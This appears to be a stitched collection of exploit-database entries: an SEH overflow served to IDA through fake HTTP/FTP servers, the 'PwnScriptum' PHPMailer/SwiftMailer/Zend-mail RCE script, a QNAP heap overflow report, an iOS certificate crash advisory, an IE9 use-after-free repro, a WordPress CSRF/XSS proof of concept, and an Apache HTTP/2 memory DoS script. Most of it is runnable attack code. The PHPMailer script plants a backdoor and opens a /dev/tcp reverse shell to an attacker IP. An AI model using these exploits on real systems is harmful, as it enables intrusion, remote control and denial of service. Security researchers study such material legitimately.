        # just send back the same data, but upper-cased
	# SEH Offset 336 - 1056 bytes for the payload - 0x10011b53 unzip32.dll ppr 0x0c
	payload = "ftp://192.168.1.100/"+ 'A' * 336 + "\xeb\x06\x90\x90" + "\x53\x1b\x01\x10" + buf + "B" * (1056 - len(buf))
	self.request.sendall("HTTP/1.1 302 Found\r\n" +
	"Host: Server\r\nConnection: close\r\nLocation: "+ 
	payload+
	"\r\nContent-type: text/html; charset=UTF-8\r\n\r\n")
	print "[*] Redirection Sent..."

class FTPHandler(SocketServer.BaseRequestHandler):
    """
    The request handler class for our FTP server.

    This will work normally and open a data connection with IDA.
    """

    def handle(self):
        # User Command
	self.request.sendall("220 Nasty FTP Server Ready\r\n")
	User = self.request.recv(1024).strip()
        print "[*] Recieved User Command: " + User
	self.request.sendall("331 User name okay, need password\r\n")	
	# PASS Command
        Pass = self.request.recv(1024).strip()
        print "[*] Recieved PASS Command: " + Pass
	self.request.sendall("230-Password accepted.\r\n230 User logged in.\r\n")
        # SYST Command
	Syst = self.request.recv(1024).strip()
        print "[*] Recieved SYST Command: " + Syst
	self.request.sendall("215 UNIX Type: L8\r\n")
	# TYPE Command
	Type = self.request.recv(1024).strip()
	print "[*] Recieved Type Command: " + Type
	self.request.sendall("200 Type set to I\r\n")
	# REST command
	Rest = self.request.recv(1024).strip()
	print "[*] Recieved Rest Command: " + Rest
	self.request.sendall("200 OK\r\n")
	# CWD command
	Cwd = self.request.recv(2048).strip()
	print "[*] Recieved CWD Command: " + Cwd
	self.request.sendall("250 CWD Command successful\r\n")
	
	# PASV command.
	Pasv = self.request.recv(1024).strip()
	print "[*] Recieved PASV Command: " + Pasv
	self.request.sendall("227 Entering Passive Mode " + PasvResp + "\r\n")

	#LIST	
	List = self.request.recv(1024).strip()
	print "[*] Recieved LIST Command: " + List
	self.request.sendall("150 Here comes the directory listing.\r\n226 Directory send ok.\r\n")
	
	


class FTPDataHandler(SocketServer.BaseRequestHandler):
    """
    The request handler class for our FTP Data connection.

    This will send useless response and close the connection to trigger the error.
    """

    def handle(self):
        # self.request is the TCP socket connected to the client
        print "[*] Recieved FTP-Data Request"
        print "[*] Sending Empty List"
        # just send back the same data, but upper-cased
	self.request.sendall("total 0\r\n\r\n")
	self.request.close()


if __name__ == "__main__":
    HOST, PORT = ip, 8000
    SocketServer.TCPServer.allow_reuse_address = True

    print "[*] Starting the HTTP Server."
    # Create the server, binding to localhost on port 8000
    HTTPServer = SocketServer.TCPServer((HOST, PORT), HTTPHandler)

    # Running the http server (using a thread so we can continue and listen for FTP and FTP-Data).
    HTTPThread = threading.Thread(target=HTTPServer.serve_forever)
    HTTPThread.daemon = True
    HTTPThread.start()
    
    print "[*] Starting the FTP Server."
    # Running the FTP server.
    FTPServer = SocketServer.TCPServer((HOST, 21), FTPHandler)

    # Running the FTP server thread.
    FTPThread = threading.Thread(target=FTPServer.serve_forever)
    FTPThread.daemon = True
    FTPThread.start()

    print "[*] Opening the data connection."
    # Opening the FTP data connection - DON'T CHANGE THE PORT.
    FTPData = SocketServer.TCPServer((HOST, 38786), FTPHandler)

    # Running the FTP Data connection Thread.
    DataThread = threading.Thread(target=FTPData.serve_forever)
    DataThread.daemon = True
    DataThread.start()

    print "[*] Listening for FTP Data."
    # Making the main thread wait.
    print "[*] To exit the script please press any key at any time."
    raw_input()
            
#!/usr/bin/python

intro = """\033[94m 
    __                     __   __  __           __                 
   / /   ___  ____ _____ _/ /  / / / /___ ______/ /_____  __________
  / /   / _ \/ __ `/ __ `/ /  / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
 / /___/  __/ /_/ / /_/ / /  / __  / /_/ / /__/ ,< /  __/ /  (__  ) 
/_____/\___/\__, /\__,_/_/  /_/ /_/\__,_/\___/_/|_|\___/_/  /____/  
           /____/                                                   


PHPMailer / Zend-mail / SwiftMailer - Remote Code Execution Exploit
		     a.k.a "PwnScriptum"

 CVE-2016-10033 + CVE-2016-10045 + CVE-2016-10034 + CVE-2016-10074


This PoC exploit aims to execute a reverse shell on the target in 
the context of the web-server user via vulnerable PHP email library.


Discovered and Coded by:

\033[1;34m 
 Dawid Golunski
 https://legalhackers.com

 t: @dawid_golunski for updates
\033[0m
\033[94m 
P.$. For testing only! Don't break the Web ;) 
\033[0m
"""
info = """
[Version]
Limited (ver. 1.0)

[PoC Video]
See the the exploit in action at:

https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html

[Info]
This exploit targets a common webapp component - Contact Form. 

It combines payloads for the following vulns:

1. PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html

2. PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045 / escapeshell bypass)
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln.html

3. SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html

4. Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)
https://legalhackers.com/advisories/ZendFramework-Exploit-ZendMail-Remote-Code-Exec-CVE-2016-10034-Vuln.html

[Usage]

./PwnScriptum_RCE_exploit.py [-h] -url WEBAPP_BASE_URL -cf CONTACT_SCRIPT
                                  [-d TARGET_UP_DIR] -ip ATTACKERS_IP
                                  [-p ATTACKERS_PORT] [--version]
                                  [--post-action POST_ACTION]
                                  [--post-name POST_NAME]
                                  [--post-email POST_EMAIL]
                                  [--post-msg POST_MSG]

Note, make sure the contact form matches the default field names (send/name/email/msg). 
Otherwise override with --post-msg=message_box for example.

"""

import os
import argparse
import time
import urllib
import urllib2
import socket
import sys


# The Main Meat
print intro

# Show info
if '-H' in sys.argv:
	print info
	exit(0)
# Parse input args
parser = argparse.ArgumentParser(prog='PwnScriptum_RCE_exploit.py', description='PHPMailer / Zend-mail / SwiftMailer - RCE Exploit (a.k.a \'PwnScriptum\')\nDiscovered by Dawid Golunski (https://legalhackers.com)')
parser.add_argument('-H', action='store_true', default="false", required=False,    help='Full Help / Info Page')
parser.add_argument('-url', dest='WEBAPP_BASE_URL', required=True,  help='WebApp Base Url')
parser.add_argument('-cf',  dest='CONTACT_SCRIPT',  required=True,  help='Contact Form scriptname')
parser.add_argument('-d' ,  dest='TARGET_UP_DIR',   required=False, help='Target Upload Dir')
parser.add_argument('-ip',  dest='ATTACKERS_IP',    required=True,  help='Attackers Public IP for RevShell')
parser.add_argument('-p',   dest='ATTACKERS_PORT',  required=False, help='Attackers Port for RevShell listener')
parser.add_argument('--version', action='version', version='%(prog)s 1.0 Limited edition')
parser.add_argument('--post-action', dest='POST_ACTION',  required=False, help='Overrides POST "action" field name',         default="send")
parser.add_argument('--post-name',   dest='POST_NAME',    required=False, help='Overrides POST "name of sender" field name', default="name")
parser.add_argument('--post-email',  dest='POST_EMAIL',   required=False, help='Overrides POST "email" field name',          default="email")
parser.add_argument('--post-msg',    dest='POST_MSG',     required=False, help='Overrides POST "message" field name',        default="msg")
args = parser.parse_args()

# Preset vars
TMOUT = 3
# Set Vars
if args.ATTACKERS_PORT is None:
	args.ATTACKERS_PORT = 8080
if args.TARGET_UP_DIR  is None:
	args.TARGET_UP_DIR = "upload"
# Build the target backdoor URL here (note the "random" pid bit to avoid php code collisions on multiple runs / multiple phpfile appends ;)
BACKDOOR_FILE = 'phpbackdoor' + str(os.getpid()) + '.php'
BACKDOOR_URL  = args.WEBAPP_BASE_URL + '/' + args.TARGET_UP_DIR + '/' + BACKDOOR_FILE
CONTACT_SCRIPT_URL = args.WEBAPP_BASE_URL + args.CONTACT_SCRIPT

# Show params
print """[+] Setting vars to: \n
WEBAPP_BASE_URL     = [%s]
CONTACT_SCRIPT      = [%s]
TARGET_UP_DIR       = [%s]
ATTACKERS_IP        = [%s]
ATTACKERS_PORT      = [%s]
CONTACT_SCRIPT_URL  = [%s]
BACKDOOR_FILEl      = [%s]
""" % (args.WEBAPP_BASE_URL, args.CONTACT_SCRIPT, args.TARGET_UP_DIR, args.ATTACKERS_IP, args.ATTACKERS_PORT, CONTACT_SCRIPT_URL, BACKDOOR_FILE)


print "[+] Choose your target / payload: "
print "\033[1;34m"
print """[1] PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)\n"""
print """[2] PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045)
	        The escapeshellarg() bypass :)\n"""
print """[3] SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)\n"""
print """[4] Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)\n"""
print "\033[0m"

try:
    target = int(raw_input('[?] Select target [1-2]: '))
except ValueError:
    print "Not a valid choice. Exiting\n"
    exit(2)
if (target>4):
    print "No such target. Exiting\n"
    exit(3)
if target == 1:
	# PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033)
	payload = '"attacker\\" -oQ/tmp/ -X%s/%s some"@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)
if target == 2:
	# Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045)
	payload = "\"attacker\\' -oQ/tmp/ -X%s/%s  some\"@email.com" % (args.TARGET_UP_DIR, BACKDOOR_FILE)
if target == 3:
	# SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
        payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)
if target == 4:
	# Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)
        payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)

print "\n[+] Generated mail() payload will upload the backdoor into the '%s' dir\n" % args.TARGET_UP_DIR
# PHP RCE code to be saved into the backdoor php file on the target in TARGET_UP_DIR. E.g:
# e.g: 
#RCE_PHP_CODE = "<?php phpinfo(); ?>" 
RCE_PHP_CODE = """<?php sleep(%d); system("/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1' ");  ?>""" % (TMOUT, args.ATTACKERS_IP, args.ATTACKERS_PORT) 

# The form names might need to be adjusted
post_fields = {'action': "%s" % args.POST_ACTION, "%s" % args.POST_NAME: 'Jas Fasola', "%s" % args.POST_EMAIL: payload, "%s" % args.POST_MSG: RCE_PHP_CODE}

# Attack
# Inject payload into PHPMailer / mail() via a Contact form. This should write out the backdoor
print "[+] Backdoor upload via the contact form at '%s'\n" % CONTACT_SCRIPT_URL
data = urllib.urlencode(post_fields)
req = urllib2.Request(CONTACT_SCRIPT_URL, data)
response = urllib2.urlopen(req)
the_page = response.read()


# Check if the backdoor was uploaded correctly.
# A little trick here. The urlopen should timeout at sleep(X)-1 if the backdoor ran fine
# So we catch the timeout to find out.

# Is it uploaded ? Try to execute the PHP backdoor and the Reverse Shell within it
print "[+] Checking for the backdoor at the URL '%s'\n" % BACKDOOR_URL
got_timeout = 0
http_err = 0
try:
    urllib2.urlopen(BACKDOOR_URL, timeout = (TMOUT-1))
except urllib2.HTTPError as e:
    http_err = e.code
except socket.timeout as e:
    print "[*] \033[1;32mLooking good!\033[0m The sleep() worked by the looks of it :) \nUrlopen timed out just in time for the shell :)\n"
    got_timeout = 1

if (got_timeout != 1):
    print "[!] Something went wrong... Got error: [%d] \nTry another dir? Push through, don't give up! :)\n" % http_err
    exit(2)

# Spawn the shell and wait for the sleep() PHP call to finish before /bin/bash is called
print "[+] We should get a shell if we got till here! Spawning netcat now! :)\n"
print "[+] \033[1;34mPlease tell me you're seeing this too... ;)\033[0m\n"
os.system("nc -v -l -p %d" % args.ATTACKERS_PORT)

print "\n[+] Shell closed\n"

print "\033[1;34mP.$. There's more to it :) Exiting, for now...\033[0m\n"
            
==================

1) [Heap overflow]

==================

Path: /home/httpd/cgi-bin/cgi.cgi

u = valid user [guest|admin]

1.1)

/* Remote */

[Remote host]# echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i<263;i++));do echo -en "A";done` HTTP/1.0\nHost: QNAP\n\n" | ncat --ssl 192.168.5.7 443

HTTP/1.1 200 OK

Date: Sat, 31 Dec 2016 00:01:11 GMT

*** glibc detected *** cgi.cgi: free(): invalid next size (normal): 0x0806cec8 ***

======= Backtrace: =========

======= Memory map: ========

08048000-08069000 r-xp 00000000 00: 0e 7559 /home/httpd/cgi-bin/authLogin.cgi

08069000-0806b000 rw-p 00020000 00: 0e 7559 /home/httpd/cgi-bin/authLogin.cgi

0806b000-0808c000 rw-p 00000000 00: 00 0 [heap]

[====SNIP====]

ffe53000-ffe54000 rw-p 00000000 00: 00 0

Content-Length: 0

Connection: close

Content-Type: text/plain

[Remote host]#

=======

1.2)

/* Local test, to get more info from backtrace */

# export QUERY_STRING="u=admin&p=`for((i=0;i<263;i++));do echo -en "A";done`"

# ./cgi.cgi

*** glibc detected *** ./cgi.cgi: free(): invalid next size (normal): 0x0806cec8 ***

======= Backtrace: =========

/lib/libc.so.6[0xf6c3da62]

/lib/libc.so.6(cfree+0x89)[0xf6c3f729]

/lib/libc.so.6(fclose+0x136)[0xf6c2e5c6]

/lib/libnss_compat.so.2[0xf6b8ac25]

/lib/libnss_compat.so.2(_nss_compat_getspnam_r+0xb2)[0xf6b8b282]

/lib/libc.so.6(getspnam_r+0x77)[0xf6c9ef57]

/lib/libc.so.6(getspnam+0x78)[0xf6c9e3f8]

/usr/lib/libuLinux_NAS.so.0(Check_Local_User_Password+0x16c)[0xf7518972]

/usr/lib/libuLinux_NAS.so.0(Check_System_User_Password+0x56)[0xf7518f66]

/usr/lib/libuLinux_NAS.so.0(Check_NAS_Administrator_Password+0x24)[0xf75
19098]

./cgi.cgi[0x80502ed]

./cgi.cgi[0x8051a7e]

/lib/libc.so.6(__libc_start_main+0xe0)[0xf6bedf90]

./cgi.cgi[0x804d151]

======= Memory map: ========

08048000-08069000 r-xp 00000000 00:0e 7559 /home/httpd/cgi-bin/authLogin.cgi

08069000-0806b000 rw-p 00020000 00:0e 7559 /home/httpd/cgi-bin/authLogin.cgi

0806b000-0808c000 rw-p 00000000 00:00 0 [heap]

[====SNIP====]

ffd9e000-ffdbe000 rwxp 00000000 00:00 0 [stack]

ffdbe000-ffdbf000 rw-p 00000000 00:00 0

Aborted

#

1.3)

# export QUERY_STRING="u=admin&p=`for((i=0;i<5957;i++));do echo -en "A";done`"

# ./cgi.cgi

*** glibc detected *** : free(): invalid next size (normal): 0x0806e508 ***

======= Backtrace: =========

/lib/libc.so.6[0xf6c9da62]

/lib/libc.so.6(cfree+0x89)[0xf6c9f729]

/lib/libc.so.6(fclose+0x136)[0xf6c8e5c6]

/lib/libnss_compat.so.2[0xf6beac25]

/lib/libnss_compat.so.2(_nss_compat_getspnam_r+0xb2)[0xf6beb282]

/lib/libc.so.6(getspnam_r+0x77)[0xf6cfef57]

/lib/libc.so.6(getspnam+0x78)[0xf6cfe3f8]

/usr/lib/libuLinux_NAS.so.0(Check_Local_User_Password+0x16c)[0xf7578972]

/usr/lib/libuLinux_NAS.so.0(Check_System_User_Password+0x56)[0xf7578f66]

/usr/lib/libuLinux_NAS.so.0(Check_NAS_Administrator_Password+0x24)[0xf75
79098]

[0x80502ed]

[0x0]

======= Memory map: ========

08048000-08069000 r-xp 00000000 00:0e 6705 /home/httpd/cgi-bin/authLogin.cgi

08069000-0806b000 rw-p 00020000 00:0e 6705 /home/httpd/cgi-bin/authLogin.cgi

0806b000-0808c000 rw-p 00000000 00:00 0 [heap]

[====SNIP====]

# ./cgi.cgi

Segmentation fault

#

# dmesg

[====SNIP====]

[ 2185.562493] cgi.cgi[17772]: segfault at ff9a4010 ip 00000000f6bd75c3 sp 00000000ff99f1bc error 4 in libc-2.6.1.so[f6b6b000+12d000]

[====SNIP====]

/* Local as shown below, but can of course be called from remote */

==================

2) [STACK junk]

==================

# export QUERY_STRING="bug"

# ./jc.cgi

Segmentation fault

# dmesg

[====SNIP====]

[76277.192562] jc.cgi[18159]: segfault at 0 ip 00000000f6cbdffc sp 00000000ffeddbbc error 4 in libc-2.6.1.so[f6c52000+12d000]

[====SNIP====]

==================

3) [STACK junk]

==================

/* Local as shown, but can be called from remote */

# export QUERY_STRING="bug"

# ./mediaGet.cgi

Segmentation fault

# dmesg

[====SNIP====]

[76802.837766] mediaGet.cgi[6589]: segfault at 0 ip 00000000f6bd8ffc sp 00000000ffc0498c error 4 in libc-2.6.1.so[f6b6d000+12d000]

[====SNIP====]

Have a nice day (and happy new year)

/bashis

========================

Hello mcw (at) noemail (dot) eu [email concealed],

We're writing to let you know that the group you tried to contact (security) may not exist, or you may not have permission to post messages to the group. A few more details on why you weren't able to post:

* You might have spelled or formatted the group name incorrectly.

* The owner of the group may have removed this group.

* You may need to join the group before receiving permission to post.

* This group may not be open to posting.

If you have questions related to this or any other Google Group, visit the Help Center at https://support.google.com/a/qnap.com/bin/topic.py?topic=25838.

Thanks,

qnap.com admins

----- Original message -----

X-Received: by 10.99.242.5 with SMTP id v5mr94097752pgh.181.1483213806030;

Sat, 31 Dec 2016 11:50:06 -0800 (PST)

Return-Path: <mcw (at) noemail (dot) eu [email concealed]>

Received: from qnappm.info (mail2.qnappm.info. [113.196.50.102])

by mx.google.com with ESMTP id c74si60891262pfk.272.2016.12.31.11.50.05

for <security (at) qnap (dot) com [email concealed]>;

Sat, 31 Dec 2016 11:50:06 -0800 (PST)

Received-SPF: fail (google.com: domain of mcw (at) noemail (dot) eu [email concealed] does not designate 113.196.50.102 as permitted sender) client-ip=113.196.50.102;

Authentication-Results: mx.google.com;

spf=fail (google.com: domain of mcw (at) noemail (dot) eu [email concealed] does not designate 113.196.50.102 as permitted sender) smtp.mailfrom=mcw (at) noemail (dot) eu [email concealed]

X-AuthUser: qnap1688 (at) qnappm (dot) info [email concealed]

Received: from aid.qnap.com ([113.196.50.99]:36962)

by mail2.qnappm.info with [XMail 1.27 ESMTP Server]

id <S7F885> for <security (at) qnap (dot) com [email concealed]> from <mcw (at) noemail (dot) eu [email concealed]>;

Sun, 1 Jan 2017 04:13:48 +0800

Date: Sun, 1 Jan 2017 03:50:06 +0800

Return-Path: mcw (at) noemail (dot) eu [email concealed]

To: security (at) qnap (dot) com [email concealed]

From: bashis mcw <mcw (at) noemail (dot) eu [email concealed]>

Subject: Reporting Security Issues - [Critical] QNAP NAS devices suffer of Heap Overflow!

Message-ID: <5acc9d206d9601dc574a02b114c83e8a (at) aid.qnap (dot) com [email concealed]>

X-Priority: 3

X-Mailer: PHPMailer 5.1 (phpmailer.sourceforge.net)

MIME-Version: 1.0

Content-Type: multipart/alternative;

boundary="b1_5acc9d206d9601dc574a02b114c83e8a"

Category : Administration

Subject : QNAP NAS devices suffer of Heap Overflow!

Severity Level : Critical

Description :

Greetings gents,

QNAP NAS devices suffer from a critical Heap Overflow in "cgi.cgi" and

non critical stack crash in "jc.cgi and mediaGet.cgi".

Successful exploitation of this heap overflow vulnerability can lead to

unauthorised root (admin) privileges on QNAP devices with anonymous

access. (no credential needed to exploit)

Please note: 1st February 2017 i will release details of these bugs to

Full Disclosure and Bugtraq e-mail lists.

Please see below and attached.

Have a nice day (and happy new year)

/bashis

==================

1) [HEAP overflow]

==================

Path: /home/httpd/cgi-bin/cgi.cgi

u = valid user [guest|admin]

1.1)

/* Remote */

[Remote host]# echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i

Sign Time : 2017/01/01 03:50:06
            
Source: https://cxsecurity.com/issue/WLB-2016110046

iOS 10.1.x Remote memory corruption through certificate file
Credit: Maksymilian Arciemowicz from https://cxsecurity.com

--------------------------------------------------------------------------------------
0. Short description
Special crafted certificate file may lead to memory corruption of several processes and the vector attack may be through Mobile Safari or Mail app. Attacker may control the overflow through the certificate length in OCSP field

--------------------------------------------------------------------------------------
1. Possible vectors of attack
- Apple Mail (double click on certificate)
- Safari Mobile ( go to special crafted link eg https://cert.cx/appleios10/700k.php which will redirect you to CRT file )
- other unspecified

--------------------------------------------------------------------------------------
2. Symptoms of memory overflow
By appropriate length of the certificate, an attacker can trigger crash of:
- profiled
- Preferences
- other unexpected behaviors

--------------------------------------------------------------------------------------
3. Crash log:
- profiled
---------------------------------------------------------------
{"app_name":"profiled","app_version":"","bug_type":"109","timestamp":"2016-09-20 09:15:09.85 +0200","os_version":"iPhone OS 10.0.1 (14A403)","incident_id":"XXXXXXXXXXXXXX","slice_uuid":"XXXXXXXXXXXXXX","build_version":"","is_first_party":true,"share_with_app_devs":false,"name":"profiled"}
Incident Identifier: XXXXXXXXXXXXXX
CrashReporter Key: XXXXXXXXXXXXXX
Hardware Model: iPhone6,2
Process: profiled [1595]
Path: /System/Library/PrivateFrameworks/ManagedConfiguration.framework/Support/profiled
Identifier: profiled
Version: ???
Code Type: ARM-64 (Native)
Role: Unspecified
Parent Process: launchd [1]
Coalition: <none> [253]


Date/Time: 2016-09-20 09:15:09.7892 +0200
Launch Time: 2016-09-20 09:15:01.1603 +0200
OS Version: iPhone OS 10.0.1 (14A403)
Report Version: 104

Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Subtype: KERN_INVALID_ADDRESS at 0x000000016e193ca0
Termination Signal: Segmentation fault: 11
Termination Reason: Namespace SIGNAL, Code 0xb
Terminating Process: exc handler [0]
Triggered by Thread: 2

---------------------------------------------------------------

- Preferences
---------------------------------------------------------------
{"app_name":"Preferences","timestamp":"2016-09-20 01:11:44.56 +0200","app_version":"1","slice_uuid":"XXXXXXXXXXX","adam_id":0,"build_version":"1.0","bundleID":"com.apple.Preferences","share_with_app_devs":false,"is_first_party":true,"bug_type":"109","os_version":"iPhone OS 10.0.1 (14A403)","incident_id":"XXXXXXXXXXX","name":"Preferences"}
Incident Identifier: XXXXXXXXXXX
CrashReporter Key: XXXXXXXXXXX
Hardware Model: iPhone6,2
Process: Preferences [1517]
Path: /Applications/Preferences.app/Preferences
Identifier: com.apple.Preferences
Version: 1.0 (1)
Code Type: ARM-64 (Native)
Role: Foreground
Parent Process: launchd [1]
Coalition: com.apple.Preferences [754]


Date/Time: 2016-09-20 01:11:43.4478 +0200
Launch Time: 2016-09-20 01:10:54.3002 +0200
OS Version: iPhone OS 10.0.1 (14A403)
Report Version: 104

Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Subtype: KERN_INVALID_ADDRESS at 0x000000016fc6df90
Termination Signal: Segmentation fault: 11
Termination Reason: Namespace SIGNAL, Code 0xb
Terminating Process: exc handler [0]
Triggered by Thread: 0
---------------------------------------------------------------


Logs:
==============================
Sep 20 20:17:02 xscxsc com.apple.CoreSimulator.SimDevice.27D...8F.launchd_sim[1905] (com.apple.managedconfiguration.profiled[3085]): Service exited due to signal: Segmentation fault: 11
Sep 20 20:17:02 xscxsc MobileSafari[2870]: (Error) MC: Queue data for acceptance error. Error: NSError:
Desc : Couldn’t communicate with a helper application.
Sugg : Try your operation again. If that fails, quit and relaunch the application and try again.
Domain : NSCocoaErrorDomain
Code : 4097
Extra info:
{
NSDebugDescription = "connection to service named com.apple.managedconfiguration.profiled";
}
Sep 20 20:17:02 xscxsc profiled[3133]: (Note ) profiled: Service starting...
==============================

--------------------------------------------------------------------------------------
4. PoC
https://cert.cx/appleios10/300k.php
https://cert.cx/appleios10/500k.php
https://cert.cx/appleios10/700k.php
https://cert.cx/appleios10/900k.php

or https://cert.cx/appleios10/expl.html

just click on this link by using Safari. 

EDB Proofs of Concept Mirror:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40906.zip

--------------------------------------------------------------------------------------
5. Safari and sandbox
How is possible that safari don't ask user before run 'Preferences' app to start process of importing certificate? Safari automatically start new process without asking user for acceptance of this operation what can be exploited through http redirect to untrusted content.

--------------------------------------------------------------------------------------

6. References
CAPEC-44: Overflow Binary Resource File
https://capec.mitre.org/data/definitions/44.html
https://cert.cx/
https://cxsecurity.com/

Best Regards/Pozdrowienia/С наилучшими пожеланиями
Maksymilian Arciemowicz

References:

https://support.apple.com/HT207422
https://support.apple.com/HT207425
https://support.apple.com/HT207426
https://cert.cx/appleios10/300k.php
https://cert.cx/appleios10/500k.php
https://cert.cx/appleios10/700k.php
https://cert.cx/appleios10/900k.php
https://cert.cx/appleios10/expl.html
https://capec.mitre.org/data/definitions/44.html
            
<!--
Source: http://blog.skylined.nl/20161212001.html

Synopsis
A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors
Microsoft Internet Explorer 9
An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.
Details
This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. EIP revealed that this was a use-after-free vulnerability. I have included a number of reports created using a predecessor of Bug­Id below.

Repro.html:
-->

<!DOCTYPE html>
<html>
  <head>
    <meta http-equiv="X-UA-Compatible" content="IE=Emulate­IE7" >
    <script>
      function go() {
        document.exec­Command('Select­All');
        document.exec­Command('superscript');
        set­Timeout(function() {
          o­Sup­Element=document.get­Elements­By­Tag­Name('sup')[0];
          o­Sup­Element.swap­Node(document.document­Element);
        }, 0);
      }
    </script>
  </head>
  <body onload="go()">
    <address></address>
    <fieldset></fieldset>
  </body>
</html>

<!--
Time-line
27 September 2012: This vulnerability was found through fuzzing.
3 December 2012: This vulnerability was submitted to EIP.
10 December 2012: This vulnerability was rejected by EIP.
12 December 2012: This vulnerability was submitted to ZDI.
25 January 2013: This vulnerability was acquired by ZDI.
15 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
27 June 2013: This vulnerability was address by Microsoft in MS13-047.
12 December 2016: Details of this vulnerability are released.
-->
            
<!--
Details
================
Software: Multisite Post Duplicator
Version: 0.9.5.1
Homepage: http://wordpress.org/plugins/multisite-post-duplicator/
Advisory report: https://security.dxw.com/advisories/csrf-vulnerability-in-multisite-post-duplicator-could-allow-an-attacker-to-do-almost-anything-an-admin-user-can-do/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)

Description
================
CSRF vulnerability in Multisite Post Duplicator could allow an attacker to do almost anything an admin user can do

Vulnerability
================
Contains a CSRF vulnerability which can copy content from one site of a multisite installation to another.
This could be used to add arbitrary HTML to the front-end of the site (which could be used for defacement, harvesting login credentials from authenticated users, or could be used to do virtually anything a logged-in admin user can do).
This could also be used to view content not meant to be published.

Proof of concept
================
Some of these values may need adjusting depending on the post IDs, blog IDs, etc.
-->

<form method=\"POST\" action=\"http://localhost/wp-admin/tools.php?page=mpd\">
  <input type=\"text\" name=\"mpd-post-status\" value=\"draft\">
  <input type=\"text\" name=\"mdp-prefix\" value=\"<script>alert(1)</script>\">
  <input type=\"text\" name=\"action\" value=\"add_foobar\">
  <input type=\"text\" name=\"el0\" value=\"post\">
  <input type=\"text\" name=\"el1\" value=\"1\">
  <input type=\"text\" name=\"el2\" value=\"1\">
  <input type=\"text\" name=\"el3\" value=\"1\">
  <input type=\"text\" name=\"duplicate-submit\" value=\"Duplicate\">
  <input type=\"submit\">
</form>

<!--
Mitigations
================
Update to version 1.1.3 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2016-11-01: Discovered
2016-12-07: Tested version 1.1.3 and found the plugin no longer vulnerable to the attack as described
2016-12-09: Advisory published



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.
-->
            
#!/usr/bin/python

""" source : http://seclists.org/bugtraq/2016/Dec/3
The mod_http2 module in the Apache HTTP Server 2.4.17 through 2.4.23, when the Protocols configuration includes h2 or h2c, does not restrict request-header length, which allows remote attackers to cause a denial of service (memory consumption) via crafted CONTINUATION frames in an HTTP/2 request.(https://access.redhat.com/security/cve/cve-2016-8740)

Usage : cve-2016-8740.py [HOST] [PORT]
"""

import sys
import struct
import socket

HOST = sys.argv[1]
PORT = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

# https://http2.github.io/http2-spec/#ConnectionHeader
s.sendall('PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n')

# https://http2.github.io/http2-spec/#SETTINGS
SETTINGS = struct.pack('3B', 0x00, 0x00, 0x00) # Length
SETTINGS += struct.pack('B', 0x04) # Type
SETTINGS += struct.pack('B', 0x00)
SETTINGS += struct.pack('>I', 0x00000000)
s.sendall(SETTINGS)

# https://http2.github.io/http2-spec/#HEADERS
HEADER_BLOCK_FRAME = '\x82\x84\x86\x41\x86\xa0\xe4\x1d\x13\x9d\x09\x7a\x88\x25\xb6\x50\xc3\xab\xb6\x15\xc1\x53\x03\x2a\x2f\x2a\x40\x83\x18\xc6\x3f\x04\x76\x76\x76\x76'
HEADERS = struct.pack('>I', len(HEADER_BLOCK_FRAME))[1:] # Length
HEADERS += struct.pack('B', 0x01) # Type
HEADERS += struct.pack('B', 0x00) # Flags
HEADERS += struct.pack('>I', 0x00000001) # Stream ID
s.sendall(HEADERS + HEADER_BLOCK_FRAME)

# Sending CONTINUATION frames for leaking memory
# https://http2.github.io/http2-spec/#CONTINUATION
while True:
    HEADER_BLOCK_FRAME = '\x40\x83\x18\xc6\x3f\x04\x76\x76\x76\x76'
